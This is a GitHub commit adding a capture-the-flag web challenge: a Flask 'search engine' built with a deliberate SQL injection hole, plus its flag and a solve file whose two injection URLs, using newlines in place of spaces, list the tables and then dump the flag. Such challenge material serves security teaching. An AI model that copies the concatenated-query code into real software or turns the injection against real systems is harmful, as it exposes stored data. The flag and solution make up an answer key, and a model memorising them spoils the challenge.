This repository has been archived by the owner on Jun 11, 2024. It is now read-only.
generated from BCACTF/chall-repo-template
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
* added the chall, needs dockerfile and a solve method (idk how to solve it) * initial challenge commit * Revert "added the chall, needs dockerfile and a solve method (idk how to solve it)" This reverts commit d14884d. * remove some not nice words (and others probably) * convert solvepath to markdown for better formatting * some deploy fixes * ignore solvepath and fix yaml --------- Co-authored-by: mudasir <[email protected]>
- Loading branch information
1 parent
170095d
commit 91287bb
Showing
17 changed files
with
22,168 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
*.db | ||
solve.md |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
FROM python:3.12-slim-bookworm | ||
|
||
WORKDIR /app | ||
|
||
RUN useradd -m bcactf && chown -R bcactf:bcactf /app && chmod -R 775 /app | ||
|
||
USER bcactf | ||
ENV PATH $PATH:/home/bcactf/.local/bin | ||
RUN pip install flask | ||
|
||
COPY . . | ||
EXPOSE 5000 | ||
ENTRYPOINT ["flask", "--app", "server","run", "--host", "0.0.0.0", "--port", "5000"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
name: Michaelsoft Gring | ||
categories: | ||
- webex | ||
value: 100 | ||
flag: | ||
file: ./flag.txt | ||
description: |- | ||
From the makers of famous operating system Binbows comes a new search engine to rival the best: Gring. The sqlite database is super secure and has only the best search results picked by our custom AI (we forgot to train it but that's not important). | ||
hints: | ||
- I think the server is splitting by spaces - how do I put spaces in my "search"? | ||
authors: | ||
- Jacob Korn | ||
visible: true | ||
deploy: | ||
web: | ||
build: . | ||
expose: 5000/tcp |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
bcactf{59L_1n1ECTeD_026821} |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,85 @@ | ||
from flask import Flask, render_template, url_for | ||
from random import randint | ||
import sqlite3 | ||
|
||
# returns a random word, weighted by frequency | ||
def rand_word(): | ||
n = randint(0, rand_max) | ||
word = -1 | ||
while n > words[word][1]: | ||
word += 1 | ||
n -= words[word][1] | ||
return words[word][0] | ||
|
||
#create DB with tables | ||
con = sqlite3.connect("search_results.db") | ||
cur = con.cursor() | ||
for table in cur.execute("SELECT name FROM sqlite_master WHERE type = 'table'").fetchall(): | ||
cur.execute("DROP TABLE " + table[0]) | ||
|
||
con.commit() | ||
|
||
cur.execute("CREATE TABLE search(title)") | ||
cur.execute("CREATE TABLE flag(flag)") | ||
cur.execute("INSERT INTO flag VALUES ('bcactf{59L_1n1ECTeD_026821}')") | ||
con.commit() | ||
|
||
# load words with frequencies from words.txt | ||
word_file = open("words.txt", "r", errors="ignore") | ||
words = [] | ||
rand_max = 0 # sum of all word frequencies (for horrible weighted random system (i'm bad at math)) | ||
|
||
for line in word_file: | ||
words.append((line.split(",")[0], int(line.split(",")[1]))) | ||
rand_max += int(line.split(",")[1]) | ||
|
||
# create and add search results | ||
to_add = [] | ||
for _ in range(10000): | ||
to_add.append([""]) | ||
for __ in range(randint(3,12)): | ||
to_add[-1][0] += " " + rand_word() | ||
to_add = [tuple(n) for n in to_add] | ||
print(to_add) | ||
cur.executemany("INSERT INTO search VALUES (?)", to_add) | ||
con.commit() | ||
|
||
|
||
# flask app | ||
app = Flask(__name__) | ||
|
||
@app.get("/") | ||
def main_page(a=False): | ||
url_for("static", filename="styles.css") | ||
url_for("static", filename="images/search.png") | ||
url_for("static", filename="images/logo.png") | ||
return render_template("mainpage.html", a=a) | ||
|
||
@app.get("/search/<search>") | ||
def search_page(search): | ||
#reconnect sql (sqlite wants me to do that idk why) | ||
con = sqlite3.connect("search_results.db") | ||
cur = con.cursor() | ||
|
||
# make search results | ||
search_results = [] | ||
search_words = search.lower().split(" ") | ||
search_lower = search.lower() | ||
|
||
sql = "" | ||
# do sql injection here (it's very poorly coded because sqlite is very hard to make vulnerable to sql injection) | ||
for word in search_words: | ||
sql += "SELECT title FROM search WHERE title LIKE '%" + word + "%';" | ||
try: | ||
for query in sql.split(";"): | ||
for row in cur.execute(query): | ||
search_results.append(row[0]) | ||
except: | ||
return main_page(a=True) | ||
no_results = len(search_results) == 0 | ||
|
||
# do web | ||
url_for("static", filename="search.css") | ||
url_for("static", filename="images/logo.png") | ||
url_for("static", filename="search.js") | ||
return render_template("searchpage.html", search=search, search_lower=search_lower, search_results=search_results, no_results=no_results, search_terms=search_words) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
First: | ||
``` | ||
http://localhost:5000/search/keirwgnph';SELECT%0Aname%0AFROM%0Asqlite_master%0AWHERE%0Atype='table'-- | ||
``` | ||
|
||
Replace localhost:5000 with the server, note the trailing space | ||
|
||
The SQL injection needs to have no spaces in it, so URL newlines (%0A) are used instead of spaces (%20) for whitespace characters. other whitespace works as well (typing it in the URL is so much easier than typing it the actual site) | ||
This selects the various tables, so that you know where the flag is. | ||
|
||
Then: | ||
``` | ||
http://localhost:5000/search/a4toi3rgo3ith';SELECT%0A*%0AFROM%0Aflag;-- | ||
``` | ||
|
||
(again, replacing the url appropriately) | ||
|
||
This gets the flag from the flag table, which you know exists after running the first injection. |
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,49 @@ | ||
html, body, form, table, textarea { | ||
width: 100%; | ||
height: 100%; | ||
} | ||
* { | ||
padding: 0; | ||
margin: 0; | ||
overflow: hidden; | ||
font-family: "Segoe Script", cursive; | ||
} | ||
|
||
header { | ||
width: 100%; | ||
height: 15%; | ||
background: rgba(171, 166, 166,0.5); | ||
} | ||
|
||
#logo p { | ||
display: inline; | ||
font-size: 60px; | ||
} | ||
|
||
#logo img { | ||
width: 103px; | ||
height: 66px; | ||
display: inline; | ||
} | ||
|
||
#logo { | ||
vertical-align: center; | ||
} | ||
|
||
#search-results { | ||
width: 50%; | ||
height: 85%; | ||
display: grid; | ||
grid-template-columns: 100%; | ||
overflow-y: scroll; | ||
scrollbar-color: #99d9ea; | ||
} | ||
|
||
#search-results > div { | ||
height: 50px; | ||
border: solid black 5px | ||
} | ||
|
||
#search-results > div > a, a > b { | ||
font-family: "Comic Sans MS", serif; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
// bold all text that was searched for | ||
|
||
for (let i of search.split(" ")) { | ||
for (let element of document.getElementsByClassName("result-text")) { | ||
element.innerHTML = element.innerHTML.replaceAll(i, "<b>" + i + "</b>"); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,70 @@ | ||
html, body, #body, form, table, textarea { | ||
width: 100%; | ||
height: 100%; | ||
} | ||
* { | ||
padding: 0; | ||
margin: 0; | ||
overflow: hidden; | ||
font-family: "Segoe Script", cursive; | ||
} | ||
|
||
body { | ||
background-image: url("images/background.png"); | ||
} | ||
|
||
header { | ||
width: 100%; | ||
height: 15%; | ||
background: rgba(171, 166, 166,0.5); | ||
} | ||
|
||
#logo p { | ||
display: inline; | ||
font-size: 60px; | ||
} | ||
|
||
#logo img { | ||
width: 103px; | ||
height: 66px; | ||
display: inline; | ||
} | ||
|
||
#logo { | ||
vertical-align: center; | ||
} | ||
|
||
#middle-container { | ||
margin-top:15%; | ||
margin-left:35%; | ||
width:30%; | ||
text-align: center; | ||
} | ||
|
||
#searchbar { | ||
border: white solid; | ||
background: white; | ||
border-radius: 30px; | ||
padding-top: 10px; | ||
display: grid; | ||
grid-template-columns: 10% 90%; | ||
} | ||
|
||
#search { | ||
background-color: white; | ||
grid-column: 1; | ||
width: 30px; | ||
height: 30px; | ||
margin-left: 10px; | ||
border: none; | ||
cursor: pointer; | ||
} | ||
|
||
textarea { | ||
border: none; | ||
cursor: pointer; | ||
grid-column: 2; | ||
height: 62%; | ||
resize:none; | ||
font-size: 10px; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,40 @@ | ||
<!DOCTYPE html> | ||
<html lang="en"> | ||
<head> | ||
<link rel="stylesheet" href="static/styles.css"> | ||
<link rel="shortcut icon" href="{{ url_for('static', filename='favicon.ico') }}"> | ||
<title> | ||
Gring | ||
</title> | ||
</head> | ||
{% if a %} | ||
<script> | ||
alert("Uh oh! Error occured. That's bad. Try again maybe?"); | ||
location.href = "/"; | ||
</script> | ||
{% endif %} | ||
<body> | ||
<header> | ||
<div id="logo"> | ||
<img src="static/images/logo.png" alt="logo"> | ||
<p> | ||
Michaelsoft Gring | ||
</p> | ||
</div> | ||
</header> | ||
<div id="body"> | ||
<div id="middle-container"> | ||
<div id="searchbar"> | ||
<img id="search" alt="search" src="static/images/search.png" onclick="location.href = '/search/' + document.getElementById('searchtext').value;"> | ||
<textarea id="searchtext" autocapitalize="characters" autocomplete="on" minlength="20" placeholder="Search our database of billions of search results!" inputmode="search"></textarea> | ||
</div> | ||
</div> | ||
</div> | ||
</body> | ||
<script> | ||
document.body.onkeydown = (e) => { | ||
if (e.key === "Enter") | ||
location.href = '/search/' + document.getElementById('searchtext').value; | ||
} | ||
</script> | ||
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
<!DOCTYPE> | ||
<html lang="en"> | ||
<head> | ||
<title>Gring Search: {{ search }}</title> | ||
<link rel="stylesheet" href="../static/search.css"> | ||
<link rel="shortcut icon" href="{{ url_for('static', filename='favicon.ico') }}"> | ||
</head> | ||
<body> | ||
<header> | ||
<div id="logo"> | ||
<img src="../static/images/logo.png" alt="logo" onclick="window.location.href = '/'"> | ||
<p> | ||
Michaelsoft Gring | ||
</p> | ||
</div> | ||
</header> | ||
<h1> Search Terms: {{ search_terms }} </h1> | ||
<div id="search-results"> | ||
{% for s in search_results %} | ||
<div> | ||
<a class="result-text" href="https://www.google.com/search?&q={{ s }}"> {{ s }} </a> | ||
</div> | ||
{% endfor %} | ||
{% if no_results %} | ||
Unfortunately, there were no results for your search. Have you tried getting better? | ||
{% endif %} | ||
</div> | ||
</body> | ||
<script> | ||
// put search data into js here (because jinja reasons) | ||
let search = JSON.parse('{{ search_lower | tojson }}'); | ||
</script> | ||
<script src="../static/search.js"></script> | ||
</html> |
Oops, something went wrong.